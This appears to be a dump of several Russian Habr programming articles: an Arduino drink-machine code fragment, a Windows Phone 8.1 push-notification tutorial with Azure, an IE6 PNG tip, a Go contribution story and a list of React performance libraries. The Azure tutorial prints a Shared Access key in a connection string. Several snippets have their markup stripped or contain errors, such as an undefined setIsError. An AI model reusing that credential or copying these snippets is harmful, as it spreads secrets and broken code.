}
else
{
for(uint8\_t cup = 0; cup < DRINKS\_NUM; cup++)
{
if (Drinks[cup].LEDsNum != 0)
{
for(byte i = Drinks[cup].LEDsPos; i < (Drinks[cup].LEDsPos + Drinks[cup].LEDsNum); i++)
LEDS.setPixelColor(i, Drinks[cup].ProcColour);
}
}
}
}
SystemChange = false;
}
LEDS.show();
}
else
{
uint8\_t LEDSPos[DRINKS\_NUM];
uint8\_t LEDSNum[DRINKS\_NUM];
for(uint8\_t cup = 0; cup < DRINKS\_NUM; cup++)
{
LEDSPos[cup] = Drinks[cup].LEDsPos;
LEDSNum[cup] = Drinks[cup].LEDsNum;
}
for(uint8\_t cup = 0; cup < DRINKS\_NUM; cup++)
{
if (Drinks[cup].LEDsNum != 0)
{
float Volume = Drinks[cup].mlVol;
uint16\_t VolCnt = 0;
uint16\_t mlPerLEDCoef = Volume / LEDSNum[cup];
analogWrite(Drinks[cup].ActPin, PUMP\_POWER);//вкл
delay(PREPROCESS\_DELAY);
while (Volume >= MIN\_VOLUME)
{
delay(mlToTimeCoef \* MIN\_VOLUME);
Volume -= MIN\_VOLUME;
VolCnt += MIN\_VOLUME;
{
if (VolCnt >= mlPerLEDCoef)
{
if (ColourMix)
{
}
else
{
if (LEDSNum[cup] != 0)
{
for(byte i = VOLUME\_START\_PIXEL; i < (VOLUME\_START\_PIXEL + PIXEL\_IN\_VOLUME); i++)
LEDS.setPixelColor(i, BACKGROUND\_COLOUR);
if (LEDSNum[cup] > 0)
LEDSNum[cup]--;
for(uint8\_t i = 0; i < DRINKS\_NUM; i++)
{
if (LEDSPos[i] > 0)
LEDSPos[i]--;
}
for(uint8\_t i = 0; i < DRINKS\_NUM; i++)
{
if (Drinks[i].LEDsNum != 0)
{
for(byte j = LEDSPos[i]; j < (LEDSPos[i] + LEDSNum[i]); j++)
LEDS.setPixelColor(j, Drinks[i].ProcColour);
}
}
}
}
LEDS.show();
VolCnt = 0;
}
}
}
analogWrite(Drinks[cup].ActPin, 0);//выкл
if (cup < (DRINKS\_NUM - 1))
{
uint8\_t StickNum = cup + 1;
uint8\_t StartPixel = DRINK\_START\_PIXEL(StickNum);
for (uint8\_t BlinkTime = 0; BlinkTime < WaitCycle; BlinkTime++)
{
for(byte i = StartPixel; i < (StartPixel + PIXEL\_IN\_DRINK); i++)
LEDS.setPixelColor(i, Drinks[cup+1].ShadColour);
LEDS.show();
delay(WaitShowDelay);
for(byte i = StartPixel; i < (StartPixel + (Drinks[cup+1].Volume / DataThreshold)); i++)
LEDS.setPixelColor(i, Drinks[cup+1].ProcColour);
LEDS.show();
delay(WaitShowDelay);
}
}
}
}
delay(EndDelay);
if (ColourMix)
{
for(byte i = VOLUME\_START\_PIXEL; i < (VOLUME\_START\_PIXEL + TotVolActLEDs); i++)
LEDS.setPixelColor(i, NewColour);
}
else
{
for(uint8\_t cup = 0; cup < DRINKS\_NUM; cup++)
{
if (Drinks[cup].LEDsNum != 0)
{
for(byte i = Drinks[cup].LEDsPos; i < (Drinks[cup].LEDsPos + Drinks[cup].LEDsNum); i++)
LEDS.setPixelColor(i, Drinks[cup].ProcColour);
}
}
}
State &= ~PROCESS;
}
}
//----------------------------------------
void START\_ISR()
{
State |= PROCESS;
}
``` | https://habr.com/ru/post/403607/ | null | ru | null |
# Работаем с уведомлениями в Windows Phone 8.1
Привет всем!
Сегодня поговорим о новых возможностях, касающихся **уведомлений** в Windows/Windows Phone 8.1. Обсудим какие типы уведомлений существуют, каким способом их организовать в своем приложении, а также отметим одну из главных новинок для Windows Phone устройств — Центр **уведомлений (Action Center)**.
##### Уведомления
Уведомления в Windows Phone это важный способ взаимодействия приложения с пользователем. Они помогают пользователю узнать об обновлении информации в приложении, оповещают его о действиях других пользователей или напоминают о необходимых активностях.
Уведомления могут приходить от какой-либо службы или же локально от приложения.
В Windows/Windows Phone 8.1 существует несколько **способов отображения** уведомлений:
Пользователь может получить уведомление в виде информации на плитке приложения или при помощи маленького черного значка.
Подробнее о возможностях **живых плиток** можно узнать из следующего [курса](http://channel9.msdn.com/Series/Building-Apps-for-Windows-Phone-8-1/14).
В дополнение к этому доступны и следующие способы отображения уведомлений:
* **Toast — уведомления** – при получении этого типа уведомления в верхней части экрана устройства появляется текстовое оповещение. При этом на текущий момент приложение может быть неактивным. Нажав на это сообщение, можно быстро переключиться к соответствующему приложению.
* **Raw — уведомления** – при этом типе уведомления содержимое передается непосредственно приложению. Приложение обрабатывает содержимое уведомления по собственному алгоритму. Эти уведомления не имеют собственного UI. Как и остальные push-уведомления, WNS сервис доставляет их к приложению из облачной или любой другой внешней службы.
###### Toast — уведомления
Для работы с Toast- уведомлениями необходимо подключить этот способ отображения уведомлений в **манифесте приложения**. Мы не сможем посылать Toast- уведомления, пока не укажем, что приложение может их отправлять.
К счастью, это очень просто – переключить соответствующую настройку в **Package.appxmanifest** в положение «Yes»:
Отправляем Toast-уведомление, используя следующий XML код:
```
headline text
body text
```
Заметим, что эта XML схема стандартна для любого вида уведомлений.
При нажатии на Toast – уведомление пользователь сможет запустить приложение.
Для платформы Windows доступно целых 8 шаблонов отображения Toast-уведомлений, но на Windows Phone 8.1 они имеют только один фиксированный вид, независимо от указанного разработчиком шаблона:
Однако логика работы Toast — уведомлений на обеих платформах **будет одинакова**.
##### Способы реализации уведомлений
Для всех Windows устройств существуют несколько способов реализации механизма уведомлений:
* **Уведомления по расписанию (Scheduled).** Такие уведомления будут стоять в очереди задач системы и запускаться в заданное фиксированное время;
**Как это работает:**
Внутри приложения используется API планировщика уведомлений, который обращается к расписанию очереди системы. Система проверяет очередь и в указанное для уведомления время отправляет обновление на плитку или Toast.
```
var scheduleToast = new ScheduledToastNotification(
xmlDoc,
DateTimeOffset.UtcNow + TimeSpan.FromDays(1.0) );
var toastNotify = ToastNotificationManager.CreateToastNotifier();
toastNotify.AddToSchedule(scheduleToast);
```
При помощи класса ScheduledToastNotification создаем объект, отвечающий за уведомление по расписанию, в котором, используя ранее продемонстрированный XML код, указываем содержание и устанавливаем время в которое необходимо отобразить уведомление. А с помощью класса ToastNotificationManager создаем объект toastNotify, для которого реализована функция добавления уведомления в очередь системы AddToSchedule().
* **Периодические обновления (Periodic)** — добывают данные для уведомлений из указанного URL и отображают их с указанной периодичностью – раз в час/в 6 часов/в 12 часов;
**Как это работает:**
В приложении обращаемся к службам Windows System Services, указывая что нам необходимы уведомления с периодичностью в 0.5/6/12 часов. Эти службы в свою очередь связываются с API обновлений для плиток и значков определенное количество раз, при помощи HTTP — запроса получают XML данные уведомления, которые можно передать плитке или значку.
```
var periodic = TileUpdateManager.CreateTileUpdaterForApplication();
Uri myTileFeed = new Uri("http://mysite.com/tileRSS.xml");
periodic.StartPeriodicUpdate(myTileFeed, PeriodicUpdateRecurrence.Hour);
```
С помощью класса TileUpdateManager создаем объект periodic, обеспечивающий периодическое обновление плитки. Далее создаем URI канал myTileFeed, в который будут транслироваться данные для уведомления в формате xml. Объект типа PeriodicUpdateRecurrence позволит установить необходимую периодичность уведомлений, поступающих из канала myTileFeed.
Существует более простой способ реализации периодических уведомлений, используя настройки файла Package.appxmanifest:
Необходимо только выбрать периодичность и указать URI канал.
* **Локальные уведомления приложения (Local);**
**Как это работает:**
Приложение использует для уведомлений обновления плиток и значков, в фоном режиме уже обращается к API Toast – уведомлений.
```
BadgeNotification newBadge = new BadgeNotification(badgeDoc);
BadgeUpdater update = BadgeUpdateManager.CreateBadgeUpdaterForApplication();
update.Update(newBadge);
```
Создаем значок с помощью объекта типа BadgeNotification и функцией Update(), реализованной для объекта типа BadgeUpdater, мгновенно обновляем значок.
Ниже представлена таблица возможности использования способов реализации уведомлений в зависимости от их типа:
Не оставим без внимания последний способ реализации уведомлений — **push-уведомления**. Рассмотрим его подробнее.
##### Push уведомления
До текущего релиза для подобного типа уведомлений в Windows 8.0 и Windows Phone 8.0 использовались два различных сервиса: служба **Microsoft Push Notification Services (MPNS)** для телефонов и **Windows Notification Services (WNS)** для остальных устройств на Windows.
Однако, теперь Push-уведомления для любых устройств Windows/Windows Phone 8.1 реализуются через службу WNS.
Какие преимущества получат разработчики, используя WNS:
* Одинаковый подход для любых устройств на Windows;
* Единый процесс регистрации приложений для push-уведомлений;
* Единый шаблон push-уведомлений для Windows/Windows Phone 8.1 платформ.
**Как это работает:**
1. Windows Phone 8.1 приложение связывается с Windows Notification Client платформой для получение URI канала приложения, который уникален для каждого устройства и приложения;
2. Далее URI канал необходимо зарегистрировать в облачном сервисе;
3. Облачный сервис проводит аутентификацию WNS сервиса, предоставляя свои данные (пакет SID и секретный ключ), и предоставляет доступ, который позволяет сервису отправлять уведомления. Теперь можно отправлять push –уведомления с помощью этой службы;
4. Облачная служба, в соответствующее время посылает push-уведомление службе WNS;
5. WNS связывается с Windows Notification Client платформой, которая производит обновление любого из заданных типов уведомлений.
Подробнее о работе WNS службы можно прочитать [здесь](http://msdn.microsoft.com/en-us/library/windows/apps/hh465435.aspx).
Ниже **реализуем механизм push-уведомлений** в приложении по шагам, выполняя ряд необходимых действий:
Для начала произведем все необходимые приготовления в [Центре разработки](https://dev.windows.com/ru-ru/dashboard), используя свой аккаунт разработчика:
Нажимаем **Submit App** и резервируем имя предполагаемого приложения:
Заполним App Info:
[](https://habrastorage.org/files/db9/543/f19/db9543f195e444a3a81d1f8e9ece5bd4.png)
Спустимся ниже и в **More Options** найдем необходимые для WNS настройки:
Переходим по ссылке **here**:
[](https://habrastorage.org/files/259/98c/e19/25998ce19c1349009638e9eab0df18b9.png)
И получаем все необходимые данные для дальнейшей работы.
В [Visual Studio](http://aka.ms/getvsrus) создадим тестовое универсальное приложение:
[](https://habrastorage.org/files/884/1a8/183/8841a818318d4ff280506b0e59a580c6.png)
В обозревателе решений нажимаем правой кнопкой мыши на проект для Windows Phone и выбираем **Associate App with the Store**:
[](https://habrastorage.org/files/923/19b/655/92319b655a394889a8d8705cad719fd8.png)
Запустится мастер связывания:
[](https://habrastorage.org/files/2cf/289/e56/2cf289e5691a476a990bc5c21258bc82.png)
Авторизуемся, используя аккаунт разработчика и выберем приложение, которые мы регистрировали до этого:
[](https://habrastorage.org/files/9bd/f6f/22d/9bdf6f22d68d402c80638841eb1074c5.png)
Все данные заполнились автоматически:
[](https://habrastorage.org/files/3ac/bb1/7bc/3acbb17bcc454c1b89625e7f8c0a8fc0.png)
После клика на **Associate**, в проекте Windows Phone будет создан **Package.StoreAssociation.xml** файл.
Авторизуемся в панели управления [Azure](https://manage.windowsazure.com/) и нажимаем кнопку **Создать**:
[](https://habrastorage.org/files/2e4/baf/b0b/2e4bafb0b73c493790334dc1a316fe8e.png)
Нажимаем на **Службы Приложений -> Service Bus -> Концентратор уведомлений**
[](https://habrastorage.org/files/c83/fd9/c16/c83fd9c1683f4dbcafceae3df3dd635e.png)
Нажимаем на **Быстро создать** и заполняем необходимые данные:
[](https://habrastorage.org/files/22a/264/022/22a26402274b419481c22f950a6b4036.png)
Создаем новый концентратор уведомлений (Notification Hub):
[](https://habrastorage.org/files/8e2/837/f92/8e2837f92f57487c8f65142d587d3224.png)
Нажимаем на только что созданное пространство имен **TestDemoPushHub-ns** и находим только что созданный концентратор уведомлений:
[](https://habrastorage.org/files/fd6/f26/5de/fd6f265decbd46b2988bfe2e9b034ebe.png)
Перейдем в настройки концентратора уведомлений, где заполним отмеченными ранее данными необходимые поля:
[](https://habrastorage.org/files/1a4/d79/101/1a4d7910172642dcaaa7af1f1d1fbd06.png)
Теперь концентратор уведомлений настроен, как WNS служба. Следующая информация будет необходима для подключения приложения к концентратору уведомлений:
[](https://habrastorage.org/files/504/c16/65f/504c1665fe91458c91111a835dd165d2.png)
Эту информацию можно получить при нажатии на кнопку **«Сведения о подключении»**:
[](https://habrastorage.org/files/213/91b/688/21391b688e6c4e90b518896bb790b499.png)
Подключаем свое приложение к концентратору уведомлений.
Правой кнопкой мыши нажимаем на решение в Visual Studio:
[](https://habrastorage.org/files/ccd/a61/153/ccda611531c94c52ad6b4f4debe0d19b.png)
В диалоговом окне **Manage NuGet Packages** ищем WindowsAzure.Messaging.Managed и нажимаем **Install**:
[](https://habrastorage.org/files/4e2/1a1/4f2/4e21a14f25de4a388be918ab7a81eb31.png)
Дальше выбираем установку пакета для нужного проекта:
Теперь мы загрузили, установили и добавили ссылки на библиотеки **Azure Messaging** во все проекты, используя WindowsAzure.Messaging.Managed NuGet package.
Открываем файл **App.xaml.cs** из общего проекта **Shared** и подключаем следующие библиотеки:
```
using Windows.Networking.PushNotifications;
using Microsoft.WindowsAzure.Messaging;
using Windows.UI.Popups;
```
Там же добавляем метод InitNotifictionAsync:
```
private async void InitNotificationsAsync()
{
var channel = await PushNotificationChannelManager.CreatePushNotificationChannelForApplicationAsync();
var hub = new NotificationHub("TestDemoPushHub", "Endpoint=sb://testdemopushhub-ns.servicebus.windows.net/;SharedAccessKeyName=DefaultListenSharedAccessSignature;SharedAccessKey=z2Sj7sgwGpkvTyE/H5QyiffCpwCjV/PmJBY1h4WhXac=");
var result = await hub.RegisterNativeAsync(channel.Uri);
// Displays the registration ID so you know it was successful
if (result.RegistrationId != null)
{
var dialog = new MessageDialog("Registration successful: " + result.RegistrationId);
dialog.Commands.Add(new UICommand("OK"));
await dialog.ShowAsync();
}
}
```
Этот метод получает URI канал для приложения от WNS, затем регистрирует этот URI канал в концентраторе уведомлений. При создании переменной hub не забудем указать имя нашего концентратора уведомлений и строку подключения с доступом Listen:
```
var hub = new NotificationHub("", ""); ("TestDemoPushHub", "Endpoint=sb://testdemopushhub-ns.servicebus.windows.net/;SharedAccessKeyName=DefaultListenSharedAccessSignature;SharedAccessKey=z2Sj7sgwGpkvTyE/H5QyiffCpwCjV/PmJBY1h4WhXac=");
```
Где данные для необходимых переменных достаем из **Сведений о подключении** концентратора уведомлений в Azure:
**hub name** = TestDemoPush;
**connection string listen access** = DefaultListenSharedAccessSignature;
В обработчике события OnLaunched в App.xaml.cs добавим вызов метода InitNotificationsAsync().
Это необходимо для того, чтобы URI канал для ваших уведомлений регистрировался при каждом запуске приложения.
В обозревателе решений найдем и настроим файл **Package.appxmanifest**:
Установим настройку **Toast capable** в положение Yes.
Теперь приложение готово к тому чтобы принимать уведомления.
Основная функция приложения показывать результат регистрации канала:
Отправим уведомления приложению.
Создадим консольное приложение, через которое будем отправлять push-уведомления:
[](https://habrastorage.org/files/bb7/988/f64/bb7988f64d1a4d89bdab89136344095f.png)
Нажимаем **Tools-> NuGet Package Manager-> Package Manager Console**
Таким образом, добавим ссылку на Azure Service Bus SDK.
Подключим в проекте следующую библиотеку: **using Microsoft.ServiceBus.Notifications;**
И добавим метод для отправки уведомлений:
```
private static async void SendNotificationAsync()
{
NotificationHubClient hub = NotificationHubClient
.CreateClientFromConnectionString("", "");
var toast = @"Hello from a .NET App!";
await hub.SendWindowsNativeNotificationAsync(toast);
}
```
В методе создаем объект типа NotificationHubClient, где заполняем необходимые данные для подключения:
**connection string with full access** = DefaultFullSharedAccessSignature (вашего Service Bus);
**hub name** = TestDemoPushHub.
А дальше создаем и заполним данные самой переменной, отвечающей за содержание уведомления:
```
Hello, guys!";
```
В теле программы вызовем написанный метод:
SendNotificationAsync();
Запускаем и получаем push-уведомления от приложения **TestDemoPush** на телефон:
Посмотрим на уведомления в **Центре уведомлений**:
При нажатии на любое из них перейдем в приложение.
##### Центр уведомлений
Еще немного слов об одной из ключевых нововведений в Windows Phone 8.1 — **Центре уведомлений (Action Center).** Вызывается он свайпом вниз от верхней границы экрана. В него попадают все новые сообщения, уведомления, упоминания и напоминания от различных приложений. Так же в Центре уведомлений расположены четыре переключателя, которые можно поменять на вызов любых настроек.
Теперь пользователи **выбирают** какие из приложений могут отображать уведомления в Центре уведомлений, а разработчики приложений получили специальные API, которые дают возможность выбирать какие из действий будут доступны из центра уведомлений. При помощи этих API и механизмов разработчики приложений могут управлять всплывающими уведомлениями.
**Новые возможности для разработчиков:**
* Удаление одного или нескольких уведомлений;
* Тегирование и группы уведомлений;
* Замена устаревшего уведомления на новое;
* Установка срока действия уведомления;
* «Goast Toast» – уведомления, которые появляется только в Центре уведомлений.
Центр уведомлений доступен только для телефона.
Подробнее о возможностях Центра уведомления для разработчиков можно узнать из этого [курса](http://channel9.msdn.com/series/Building-Apps-for-Windows-Phone-8-1/14#time=34m33s).
##### Заключение
Уведомления в Windows Phone 8.1 — это целый набор разнообразных инструментов, предоставляющий разработчику возможность самому выбрать способ общения своего приложения с пользователем. Особое внимание все же советую обратить на невероятно удобную и мощную службу WNS, чьи преимущества оказались особенно заметны на мобильных устройствах.
##### Полезные ссылки
[Channel 9: Building Apps for Windows Phone 8.1](http://channel9.msdn.com/Series/Building-Apps-for-Windows-Phone-8-1/22)
[Microsoft Azure: Getting Started with Notification Hubs](http://azure.microsoft.com/en-us/documentation/articles/notification-hubs-windows-store-dotnet-get-started/)
[MVA: Размещение и продвижение приложений в Windows Store](http://www.microsoftvirtualacademy.com/training-courses/publication-and-promotion-applications-in-windows-store-rus)
[Обучающие курсы виртуальной академии Microsoft (MVA)](http://www.microsoftvirtualacademy.com/)
[Портал Microsoft Azure](http://azure.microsoft.com/ru-ru/)
[Центр разработки Windows](https://dev.windows.com/ru-ru/dashboard)
[Загрузить бесплатную или пробную Visual Studio 2013](http://aka.ms/getvsrus)
[Как опубликовать приложение в Windows Store](http://aka.ms/storepublish)
[Скачать пример приложения из этой статьи](http://1drv.ms/1lkhJ2Y) | https://habr.com/ru/post/234727/ | null | ru | null |
# png и IE, еще проще
Во время верстки столкнулся с проблемой отображения png в IE6. Поиск по Хабру дал несколько решений но все они не подходили по разным причинам.
Задача: есть 4 картинки png, необходимо их нормально отображение в IE6.
Итак вот решение которое я нашел:
**HTML:**
``
**CSS:**
`.bg_img {width:47px; padding:0; margin:0;background-color: #1f1e1a;}`
Обязательно нужно указать размер картинки, как показала практика вполне хватает только ширины.
Код «горячий» выдран прям с проекта :-).
Мне показалось очень простое и удобное средство, по крайней мере для данной задачи. | https://habr.com/ru/post/36821/ | null | ru | null |
# Как новичок в Go контрибьютил
*Rocky Runs Up The Stairs*
*Привет, Хабр. Вы, наверно, меня помните: я – Марко Кевац, системный программист в Badoo. Недавно я наткнулся на небольшой рассказ о том, как новичок сделал изменение в рантайме языка Go. Несмотря на то, что этот пост, наверное, довольно неожиданно встретить в хабраблоге Badoo, и многие могут сказать, что он банален и переполнен наивной радостью, я считаю, что такие истории демонстрируют, насколько сообщество Go доброжелательно и внимательно по отношению ко всем его участникам. Поэтому и перевел его.*
*А ещё в посте есть два интересных факта, связанных с внутренностями языка. Приятного чтения!*
Я уже некоторое время пишу open-source-программы на Go. И вот только недавно у меня появилась возможность писать на Go и на работе. Я с радостью переключился и стал самым настоящим Go-разработчиком.
Всё было отлично, пока не случилась последняя конференция GopherCon, где проводили [мастер-класс](https://blog.golang.org/contributor-workshop) для тех, кто хочет делать вклад в развитие языка. И вот, видя, как все эти люди коммитят код в основной репозиторий, я тоже захотел что-то сделать. А буквально через пару дней [Francesc Campoy](https://github.com/campoy) записал прекрасное [видео](https://www.youtube.com/watch?v=DjZMKKfNVMc), в котором подробно рассказывает, как контрибьютить в Go.
Желание быть причастным охватило меня. Я понятия не имел, что я могу сделать, но решил скачать исходный код и скомпилировать его. Так и начался мой путь по дороге контрибьютора Go.
Я читал инструкцию для контрибьюторов и шаг за шагом выполнял её. Подписать CLA получилось не сразу, так как инструкция была немного корявой. Собственно, почему бы не указать на это и не предложить исправить её? Это может быть моим первым CL! Вдохновлённый, я создал [тикет](https://github.com/golang/go/issues/21377). Но оказалось, я наступил на стандартные грабли новичка. Проблема уже была решена в Tip, а я даже не догадался посмотреть.
Поскольку у меня уже всё было готово, я периодически просто гулял по стандартной библиотеке в поисках, что бы поправить. И поскольку я уже несколько месяцев программировал на Go на работе, я столкнулся с частями рантайма, которые постоянно всплывали во время профилирования. Одна из таких частей – пакет fmt. Я решил посмотреть на него внимательно и понять, можно ли что-то с этим сделать. Примерно через час я натолкнулся на кое-что интересное.
Функция `fmt_sbx` в файле `fmt/format.go` начинается следующим образом:
```
func (f *fmt) fmt_sbx(s string, b []byte, digits string) {
length := len(b)
if b == nil {
// No byte slice present. Assume string s should be encoded.
length = len(s)
}
```
Было ясно, что `len()` вызывается два раза в случае, если `b` равно `nil`, хотя чаще всего достаточно одного. Но если передвинуть его в `else`, то `len()` вызовется всегда только один раз. Я решил отправить CL об этом, чтобы посмотреть, что скажут другие.
Буквально через пару минут [Ian](https://github.com/ianlancetaylor) дал оценку +2, а затем [Avelino](https://github.com/avelino) – +1. Я не мог поверить в это!
Но потом что-то пошло не так. [Dave](https://github.com/davecheney) поставил -1, и Martin – [тоже](https://github.com/martisch). Он взял бинарный дамп кода и увидел, что между двумя вариантами нет никакой разницы. Компилятор был достаточно умным, чтобы сделать эту небольшую оптимизацию. Так что в итоге я оказался в минусе: `else` плохо сказывается на читабельности кода, а выигрыша в производительности никакого.
Этот CL пришлось забросить…
Но я узнал много нового. Например, о таких утилитах, как `benchstat` и `benchcmp`. Более того, теперь я был знаком со всем процессом и попробовать ещё раз мне ничего не стоило.
Вскоре я узнал, что простая конкатенация строк гораздо быстрее, чем `fmt.Sprintf()`. С этим знанием я пошёл искать «жертву», и это не заняло много времени. Я остановился на пакете `archive/tar`. Функция `formatPAXRecord` в файле `archive/tar/strconv.go` содержит следующий код:
```
size := len(k) + len(v) + padding
size += len(strconv.Itoa(size))
record := fmt.Sprintf("%d %s=%s\n", size, k, v)
```
После того как я поменял последнюю строчку на `record := fmt.Sprint(size) + " " + k + "=" + v + "\n"`, я увидел значительное ускорение:
```
name old time/op new time/op delta
FormatPAXRecord 683ns ± 2% 457ns ± 1% -33.05% (p=0.000 n=10+10)
name old alloc/op new alloc/op delta
FormatPAXRecord 112B ± 0% 64B ± 0% -42.86% (p=0.000 n=10+10)
name old allocs/op new allocs/op delta
FormatPAXRecord 8.00 ± 0% 6.00 ± 0% -25.00% (p=0.000 n=10+10)
```
Остальное, как говорится, уже история. На этот раз [Joe](https://github.com/dsnet) отревьюил код, и после нескольких мелких исправлений его замёржили! Ура! Я внёс свой вклад в развитие Go. Я прошёл путь от средненького open-source-контрибьютора до контрибьютора в язык программирования Go.
Это далеко не конец. Я начинаю лучше понимать тонкости языка и буду продолжать создавать CL каждый раз, когда что-то найду. Десять чашек чая господам из Go-команды за то, что они так изящно и безустанно управляют разработкой такого сложного проекта.
P.S. Ну, и для справки:
* мой первый CL, который не приняли: <https://go-review.googlesource.com/c/54952/>;
* а это второй, который приняли: <https://go-review.googlesource.com/c/55210/>. | https://habr.com/ru/post/336620/ | null | ru | null |
# 7 лучших библиотек для создания молниеносно быстрых приложений ReactJS
### Некоторые необходимые инструменты для rock-star разработчика
> Привет, Хабр. В рамках набора на курс ["**React.js Developer**"](https://otus.pw/92S9/) подготовили перевод материала.
>
> Всех желающих приглашаем на открытый демо-урок [**"Webpack и babel"**](https://otus.pw/BA9x/). На занятии рассмотрим современные и мощные фишки JavaScript — Webpack и Babel. Пошагово покажем, как с нуля создать проект на React, используя Webpack. Присоединяйтесь!
>
>
---
[ReactJS](https://reactjs.org/) по умолчанию обладает высокой производительностью. Но время от времени у вас появляется шанс сделать его еще лучше. И замечательное сообщество React придумало для этого несколько фантастических библиотек.
Сегодня мы поговорим о семи таких библиотеках, которые могут улучшить качество вашего кода и при этом повысить производительность.
Давайте начнем.
**. . .**
### 1. React Query
Известно, что [React Query](https://react-query.tanstack.com/), недостающая библиотека управления состоянием для React.
В [документации](https://react-query.tanstack.com/) к ней говорится: «Получайте, кэшируйте и обновляйте данные в ваших приложениях React, не затрагивая никакого "глобального состояния"».
Да. Это именно то, что она делает. Она помогает нам управлять состоянием сервера без лишних хлопот. Это может уменьшить необходимость использования библиотеки управления состоянием, такой как Redux.
**Преимущества**
* Автоматическое кэширование
* Автоматическое обновление данных в фоновом режиме
* Значительно сокращает объем кода
**До использования React Query**
Вот пример для получения данных с помощью нашего пользовательского хука. Он даже не поддерживает кэширование.
```
const useFetch = (url) => {
const [data, setData] = useState();
const [isLoading, setIsLoading] = useState(false);
const [error, setError] = useState(false);
useEffect(() => {
const fetchData = async () => {
setIsError(false);
setIsLoading(true);
try {
const result = await fetch(url);
setData(result.data);
} catch (error) {
setError(error);
}
setIsLoading(false);
};
fetchData();
}, [url]);
return {data , isLoading , isError}
}
```
**После (использования) React Query**
Вот код, если мы хотим использовать React Query. Посмотрите, какой он маленький.
```
import { useQuery } from 'react-query'
const { isLoading, error, data } = useQuery('repoData', () =>
fetch(url).then(res =>res.json()
)
)
```
Посмотрите, насколько сильно сократился наш код.
**. . .**
### 2. React Hook Form
[React Hook Form](https://react-hook-form.com/) - это современная библиотека обработки форм, которая может поднять эффективность работы вашей формы на совершенно новый уровень.
**Преимущества**
* Уменьшает объем кода
* Сокращает ненужный ре-рендеринг.
* Легко интегрируется с современными библиотеками пользовательского интерфейса (UI)
Ниже приведен пример, демонстрирующий, как React Hook Form может улучшить качество кода.
**Без React Hook Form**
Вот пример создания формы авторизации вручную.
```
function LoginForm() {
const [email, setEmail] = React.useState("");
const [password, setPassword] = React.useState("");
const handleSubmit = (e: React.FormEvent) => {
e.preventDefault();
console.log({email, password});
}
return (
setEmail(e.target.value)}
/>
setPassword(e.target.value)}
/>
);
}
```
**С помощью React Form**
Вот тот же пример с React Hook Form.
```
function LoginForm() {
const { register, handleSubmit } = useForm();
const onSubmit = data => console.log(data);
return (
);
}
```
Выглядит аккуратно и в то же время эффективно. Попробуйте.
**. . .**
### 3. React Window
[React Window](https://github.com/bvaughn/react-window) используется для рендеринга длинных списков. Представьте, что у вас есть список из 1 000 элементов. На экране отображаются только десять, но ваш код пытается визуализировать 1000 элементов одновременно.
Это может привести к серьезным задержкам в вашем приложении. Данная библиотека очень популярна и является обязательным инструментом в вашем арсенале.
**Ручной рендеринг 1 000 элементов**
```
import React, {useEffect, useState} from 'react';
const names = [] // 1000 names
export const LongList = () => {
return
{names.map(name => Name is: {name} )}
}
```
Но этот код рендерит 1000 элементов одновременно, хотя на экране можно увидеть не более 10-20 элементов.
**Использование React Window**
Теперь давайте используем React Window.
```
import { FixedSizeList as List } from 'react-window';
const Row = ({ index, style }) => Name is {names[index]}
const LongList = () => (
{Row}
);
```
Данный код рендерит только то, что вы видите на экране. Поначалу это может быть непонятно, но необходимо, если вам нужно отобразить длинный список.
**. . .**
### 4. React LazyLoad
*Ленивая загрузка* - это техника, используемая для загрузки только того, что вам нужно. Таким образом, она повышает производительность, не расходуя без необходимости вычислительные мощности.
[React LazyLoad](https://www.npmjs.com/package/react-lazyload) - это библиотека, специально созданная для этой цели. Вы просто оборачиваете свой компонент, а эта библиотека позаботится обо всем остальном.
**Преимущества**
* Повышенная производительность
* Поддерживает рендеринг на стороне сервера
**Без LazyLoad**
Вот пример, в котором мы загружаем пять изображений вручную.
```
import React from 'react';
const ImageList = () => {
return
}
```
**С LazyLoad**
Вот тот же пример с компонентом LazyLoad.
```
import React from 'react';
import LazyLoad from 'react-lazyload';
const ImageList = () => {
return
}
```
**. . .**
### 5. Почему вы выполняете рендеринг (Why Did You Render)
Ненужный рендеринг может навредить производительности ваших React-приложений. Но иногда мы делаем это, даже не подозревая.
Этот замечательный пакет, [Why Did You Render](https://www.npmjs.com/package/@welldone-software/why-did-you-render), помогает нам найти проблемы с производительностью и решить их. Вы просто включаете его в любом компоненте, и он сообщает вам, почему именно происходит рендеринг.
Ниже представлен компонент с возникающими проблемами рендеринга.
```
import React, {useState} from 'react'
const WhyDidYouRenderDemo = () => {
console.log('render')
const [user , setUser] = useState({})
const updateUser = () => setUser({name: 'faisal'})
return <>
User is : {user.name}
Update
}
export default WhyDidYouRenderDemo
```
После включения эта библиотека будет записывать в консоль следующий результат.
Из этого журнала видно, что мы обновляем объект с одним и тем же значением, что плохо для производительности.
**. . .**
### 6. Reselect
Если вы используете [Redux](https://redux.js.org/), то эта функция станет для вас спасительной. Мы знаем, что редьюсеры Redux могут хранить большое количество данных, и если вы передадите всё хранилище в какой-либо компонент, это приведет к тому, что он будет заново рендериться каждый раз, когда что-либо в этом хранилище будет обновляться.
[Reselect](https://github.com/reduxjs/reselect) решает эту проблему, меморизуя значения и передавая только то, что необходимо.
**Преимущества (из** [**документации**](https://github.com/reduxjs/reselect)**)**
* Селекторы могут вычислять производные данные, что позволяет Redux хранить минимально возможное состояние.
* Селекторы эффективны. Селектор не пересчитывается, если один из его аргументов не изменился.
* Селекторы являются составными. Они могут быть использованы в качестве входных данных для других селекторов.
**Пример**
Ниже приведен пример получения значений из хранилища и их изменения в селекторе.
```
import { createSelector } from 'reselect'
const shopItemsSelector = state => state.shop.items
const subtotalSelector = createSelector(
shopItemsSelector,
items => items.reduce((subtotal, item) => subtotal + item.value, 0)
)
const exampleState = {
shop: {
items: [
{ name: 'apple', value: 1.20 },
{ name: 'orange', value: 0.95 },
]
}
}
```
**. . .**
### 7. Deep Equal
[Deep Equal](https://www.npmjs.com/package/deep-equal) - это известная библиотека, которую можно использовать для сравнения. Это очень удобно. Ведь в JavaScript, несмотря на то, что два объекта могут иметь одинаковые значения, они считаются разными, поскольку указывают на разные области памяти.
Вот почему мы видим следующий результат.
```
const user1 = {
name:'faisal'
}
const user2 ={
name:'faisal'
}
const normalEqual = user1 === user2 // false
```
Но если нужно проверить равенство (для мемоизации), то это становится затратной (и сложной) операцией.
Если мы используем [Deep Equal](https://www.npmjs.com/package/deep-equal), то это повышает производительность в **46 раз**. Ниже приведен пример того, как мы можем это сделать.
```
var equal = require('deep-equal');
const user1 = {
name:'faisal'
}
const user2 ={
name:'faisal'
}
const deepEqual = equal(user1 , user2); // true -> exactly what we wanted!
```
**. . .**
